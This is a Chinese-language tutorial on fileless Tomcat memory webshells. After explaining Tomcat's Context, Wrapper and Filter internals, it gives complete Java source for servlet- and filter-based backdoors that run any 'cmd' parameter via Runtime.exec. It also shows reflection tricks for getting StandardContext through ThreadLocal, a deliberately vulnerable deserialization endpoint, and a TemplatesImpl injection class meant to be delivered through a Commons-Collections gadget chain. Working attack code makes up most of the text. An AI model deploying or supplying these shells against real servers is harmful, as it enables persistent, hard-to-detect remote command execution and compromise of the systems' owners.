无文件落地的 webshell 技术,即对访问路径映射及相关处理代码的动态注册,通常配合反序列化或者spel表达式注入进行类加载写入。
本文环境 Tomcat 9.0.59 作为中间件,且并没有配置spring框架,代码具体实现与中间件有关。
Server:整个Tomcat服务器,一个Tomcat只有一个Server;
Service:Server中的一个逻辑功能层, 一个Server可以包含多个Service;
Connector:称作连接器,是Service的核心组件之一,一个Service可以有多个Connector,主要是连接客户端请求;
Container:Service的另一个核心组件,按照层级有Engine,Host,Context,Wrapper四种,一个Service只有一个Engine,其主要作用是执行业务逻辑;
Context容器
Context 代表 Servlet 的上下文环境,指独立的一个Web应用。它具备了 Servlet 运行的基本环境,理论上只要有 Context 就能运行 Servlet 了。简单的 Tomcat 可以没有 Engine 和 Host。
StandardContext
类是Context接口的标准实现:
通过request.getServletContext()
获取到的是ApplicationContextFacade
对象,是ApplicationContext
外观对象
ServerletContext(接口)
ServletContext
是Servlet规范中规定的ServletContext接口,定义了与该servlet通信的一系列方法。
ApplicationContext
ApplicationContext
是Tomcat对ServerletContext
接口的实现类,后面动态添加组件的方法实现就在其中。
由上图可知该类被包装在ApplicationContextFacade
类中(使用了门面模式也叫外观模式)。
为什么servlet通过ApplicationContextFacade间接(而不是直接)访问Tomcat ApplicationContext(ServletContext)
StandardContext
org.apache.catalina.Context
接口的默认实现为StandardContext
,而Context在Tomcat中代表一个web应用。
从上图也可以看到ApplicationContext
像对StandardContext
的一种封装,其context属性即为StandardContext
。
查看ApplicationContext
源码可以看到,其所实现的方法其实都是调用的context(StandardContext
)中的方法,StandardContext
是Tomcat中真正起作用的Context。
从三者的关系可以当发现request存在的时候我们可以通过反射来获取StandardContext对象:
request.getServletContext().context.context
StandardContext对象也是后面动态注册组件的基础。
Wrapper容器
Wrapper 代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
StandardWrapper
类是Wrapper接口的标准实现:
Servlet、Filter 、Listener ;处理请求时,处理顺序如下:
Request → Listener → Filter → Servlet
Servlet
: 最基础的控制层组件,用于动态处理前端传递过来的请求,每一个Servlet都可以理解成运行在服务器上的一个java程序;生命周期:从Tomcat的Web容器启动开始,到服务器停止调用其destroy()结束;驻留在内存里面Filter
:过滤器,过滤一些非法请求或不当请求,一个Web应用中一般是一个filterChain链式调用其doFilter()方法,存在一个顺序问题。Listener
:监听器,以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口(都有request来都会触发这个)。在Servlet3.0中可以动态注册Servlet,Filter,Listener(一般只能在应用初始化时调用),在ServletContext对应的接口为:
/**
* 添加Servlet
*/
public ServletRegistration.Dynamic addServlet(String servletName,
String className);
public ServletRegistration.Dynamic addServlet(String servletName,
Servlet servlet);
public ServletRegistration.Dynamic addServlet(String servletName,
Class<? extends Servlet> servletClass);
<T extends Servlet> T createServlet(Class<T> var1) throws ServletException;
/**
* 添加Filter
*/
public FilterRegistration.Dynamic addFilter(String filterName,
String className);
public FilterRegistration.Dynamic addFilter(String filterName, Filter filter);
public FilterRegistration.Dynamic addFilter(String filterName,
Class<? extends Filter> filterClass);
<T extends Filter> T createFilter(Class<T> var1) throws ServletException;
/**
* 添加Listener
*/
public void addListener(String className);
public <T extends EventListener> void addListener(T t);
public void addListener(Class<? extends EventListener> listenerClass);
<T extends EventListener> T createListener(Class<T> var1) throws ServletException;
具体的实现还要看具体的容器,下面以tomcat9.0.56为例。
从上面的tomcat结构中可以看到Warpper封装了Servlet,如果想要添加一个Servlet,需要创建一个Warpper(StandardWrapper)包裹他来挂载到Context(StandardContext中)
查看ServletContext接口的具体实现org.apache.catalina.core.ApplicationContext#addServlet
方法。
Wrapper的创建在org.apache.catalina.core.StandardContext#createWrapper
当中;
再回到addServlet
方法接着来看,其实就是把servlet注册到context里。
为了让访问url能匹配到具体的Servlet,接着还得再把url路径和 Wrapper 对象(Servlet)做映射:
通过ApplicationServletRegistration#addMapping
方法调用 StandardContext#addServletMappingDecoded
方法,在 mapper 中添加 URL 路径与 Wrapper 对象的映射(Wrapper 通过 this.children 中根据 name 获取)
同时在StandardContext#servletMappings
属性中添加 URL 路径与 name 的映射。
详细的启动过程可以参考tomcat源码分析03:Context启动流程
在Spring mvc中添加servlet就是用上面的方法实现:
具体实现的时候可以直接去调用addServletMappingDecoded
方法,相当于手动走一遍addServlet
方法的流程;也可以通过反射去设置LifecycleState
的值为STARTING_PREP
调用addServlet
方法注册servlet完之后再设置回原值。
这里参照su18文章中的代码实现直接去调用addServletMappingDecoded
方法,写的是servlet,写jsp也是一样的jsp本来也是一种特殊的servlet。
代码实现如下:
package test;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
@WebServlet("/addTomcatServletMemShell")
public class TomcatServletMemShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String servletName = "ServletMemShell";
// 从 request 中获取 servletContext
ServletContext servletContext = req.getServletContext();
// 如果已有此 servletName 的 Servlet,则不再重复添加
if (servletContext.getServletRegistration(servletName) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
// 创建自定义 Servlet
HttpServlet evilServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
int len;
while ((len = bufferedInputStream.read()) != -1) {
resp.getWriter().write(len);
}
}
}
};
// 使用 Wrapper 封装 Servlet
Wrapper wrapper = o.createWrapper();
wrapper.setName(servletName);
wrapper.setLoadOnStartup(1);
//将自定义Servlet类实例设置进入 反射的话使用servletClass.newInstance()
wrapper.setServlet(evilServlet);
wrapper.setServletClass(evilServlet.getClass().getName());
// 向 children 中添加 wrapper
o.addChild(wrapper);
// 添加 servletMappings
o.addServletMappingDecoded("/ServletMemShell", servletName);
PrintWriter writer = resp.getWriter();
writer.println("tomcat servlet added");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
wrapper.setLoadOnStartup(1);
这句代码的作用是让容器在应用启动时就加载并初始化这个servlet,说人话就是添加完就加载了。当然不设置这个值也是可以的,默认值为-1 即在第一次访问时加载。
web.xml中load-on-startup的作用
- load-on-startup 元素标记容器是否应该在web应用程序启动的时候就加载这个servlet,(实例化并调用其init()方法)。
- 它的值必须是一个整数,表示servlet被加载的先后顺序。
- 如果该元素的值为负数或者没有设置,则容器会当Servlet被请求时再加载。
- 如果值为正整数或者0时,表示容器在应用启动时就加载并初始化这个servlet,值越小,servlet的优先级越高,就越先被加载。值相同时,容器就会自己选择顺序来加载。
查看org.apache.catalina.core.ApplicationContext#addFilter
方法。其实和addServlet
方法差不多,同样的还没有将这个 Filter 和url做映射。
通过ApplicationFilterRegistration#addMappingForUrlPatterns
设置映射。
通过下图可见Tomcat 处理一次请求对应的 FilterChain过程
每次请求的 FilterChain 是动态匹配获取和生成的,如果想添加一个 Filter ,需要在 StandardContext 中 filterMaps 中添加 FilterMap,在 filterConfigs 中添加 ApplicationFilterConfig。
第一步上面已经解决了,第二步通过StandardContext#filterStart
方法生成filterConfigs来添加。
最后还要把这个filter加到filterMaps中第一位,在所有filter前执行以免一些奇奇怪怪的问题(如shiro的反序列化利用)。
参照threedr3am师傅的基于tomcat的内存 Webshell 无文件攻击技术文章中的实现,代码如下:
package test;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpFilter;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
@WebServlet("/addTomcatFilterMemShell")
public class TomcatFilterMemShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
String filterName = "FilterMemShell";
// 从 request 中获取 servletContext
ServletContext servletContext = req.getServletContext();
// 如果已有此 filterName 的 Filter,则不再重复添加
if (servletContext.getFilterRegistration(filterName) == null) {
StandardContext standardContext = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
standardContext = (StandardContext) stdctx.get(appctx);
}
// 创建自定义 Filter 对象
HttpFilter evilFilter = new HttpFilter() {
public void destroy() {}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
String cmd = req.getParameter("cmd");
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
int len;
while ((len = bufferedInputStream.read()) != -1) {
resp.getWriter().write(len);
}
}
doFilter((HttpServletRequest) request, (HttpServletResponse) response, chain);
}
};
//修改context状态
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
// 创建 FilterDef 对象
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, evilFilter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
//添加映射
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
//状态恢复,要不然服务不可用
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null) {
//在 filterConfigs 中添加 ApplicationFilterConfig使得filter生效
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
//把filter插到第一位
org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
}
}
PrintWriter writer = resp.getWriter();
writer.println("tomcat filter added");
} catch (Exception e) {
e.printStackTrace();
}
}
}
上面的例子当中是从Servlet的request对象中进行获取,request.getServletContext().context.context
,但通过上传一个jsp文件去注册内存马只满足有上传点,得到webshell后的去做持久化后门的情况。
实际当中还有不少反序列化的漏洞点需要打内存马做一个持久化,即有类加载的能力。这时候再用上面的办法,request对象都没了自然是不行的。
这里只介绍两种比较常用的方法,更多姿势可以看这篇文章:Java内存马:一种Tomcat全版本获取StandardContext的新方法
Tomcat 8 9
Tomcat处理请求中,存在Thread ContextClassLoader(线程上下文类加载器),而这个对象的resources属性中又保存了StandardContext对象。
https://blog.51cto.com/nxlhero/2697891
Thread Context ClassLoader意义就是:⽗Classloader可以使⽤当前线程Thread.currentthread().getContextLoader()中指定的classloader中加载的类。颠覆了⽗ClassLoader不能使⽤⼦Classloader或者是其它没有直接⽗⼦关系的Classloader中加载的类这种情况。这个就是Thread Context ClassLoader的意义。⼀个线程的默认ContextClassLoader是继承⽗线程的,可以调⽤set重新 设置,如果在main线程⾥查看,它就是AppClassLoader。
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
Tomcat 7 8 9
kingkk师傅 Tomcat中一种半通用回显方法这篇文章中的方法。
利用点在org.apache.catalina.core.ApplicationFilterChain
类
通过反射修改ApplicationDispatcher.WRAP_SAME_OBJECT
为true,并且对lastServicedRequest
和lastServicedResponse
这两个ThreadLocal变量进行初始化,默认为null
ServletRequest servletRequest = null;
try {
//修改 WRAP_SAME_OBJECT 值为 true
java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT_FIELD.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}
//初始化 lastServicedRequest lastServicedResponse
java.lang.reflect.Field lastServicedRequestField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponseField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
if (lastServicedRequestField.get(null) == null || lastServicedResponseField.get(null) == null) {
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
if (servletRequest != null)
servletRequest.getServletContext();
}catch (Throwable t){}
这里只做一个demo演示效果,后面再补fastjson shiro log4j打内存马的内容。
添加cc依赖
@WebServlet("/test")
public class index extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.getWriter().println("hello memshell");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
resp.getWriter().write("Success");
}
}
这里为了方便生成,把两部分拼一块了
package MemoryShell;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
public class MyTomcatInject extends AbstractTranslet implements Filter {
static {
try {
String filterName = "FilterMemShell";
// 从ThreadLocal获取request
ServletRequest servletRequest = null;
//修改 WRAP_SAME_OBJECT 值为 true
java.lang.reflect.Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
java.lang.reflect.Field modifiersField = WRAP_SAME_OBJECT_FIELD.getClass().getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null)) {
WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
}
//初始化 lastServicedRequest lastServicedResponse
java.lang.reflect.Field lastServicedRequestField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponseField = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);
if (lastServicedRequestField.get(null) == null || lastServicedResponseField.get(null) == null) {
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//获取 servletContext
ServletContext servletContext = null;
if (servletRequest != null) {
servletContext = servletRequest.getServletContext();
}
// 如果已有此 filterName 的 Filter,则不再重复添加
if (servletContext.getFilterRegistration(filterName) == null) {
StandardContext standardContext = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
standardContext = (StandardContext) stdctx.get(appctx);
}
// 创建自定义 Filter 对象
Filter evilFilter =new MyTomcatInject();
//修改context状态
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
// 创建 FilterDef 对象
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, evilFilter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
//添加映射
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{"/*"});
//状态恢复,要不然服务不可用
if (stateField != null) {
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
}
if (standardContext != null) {
//在 filterConfigs 中添加 ApplicationFilterConfig使得filter生效
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
//把filter插到第一位
org.apache.tomcat.util.descriptor.web.FilterMap[] filterMaps = standardContext.findFilterMaps();
for (int i = 0; i < filterMaps.length; i++) {
if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {
org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse resp = (HttpServletResponse) servletResponse;
String cmd = req.getParameter("cmd");
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
int len;
while ((len = bufferedInputStream.read()) != -1) {
resp.getWriter().write(len);
}
}
}
@Override
public void destroy() {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
然后用CC3的链子生成ser文件,curl打过去。
发两遍包,一遍初始化两个ThreadLocal,第二遍注册filter
https://mp.weixin.qq.com/s/D0ACXtPsj91chP4zmGpUjQ
https://yzddmr6.com/posts/tomcat-context/
https://www.anquanke.com/post/id/273250
https://xz.aliyun.com/t/9914
https://xz.aliyun.com/t/7388#toc-1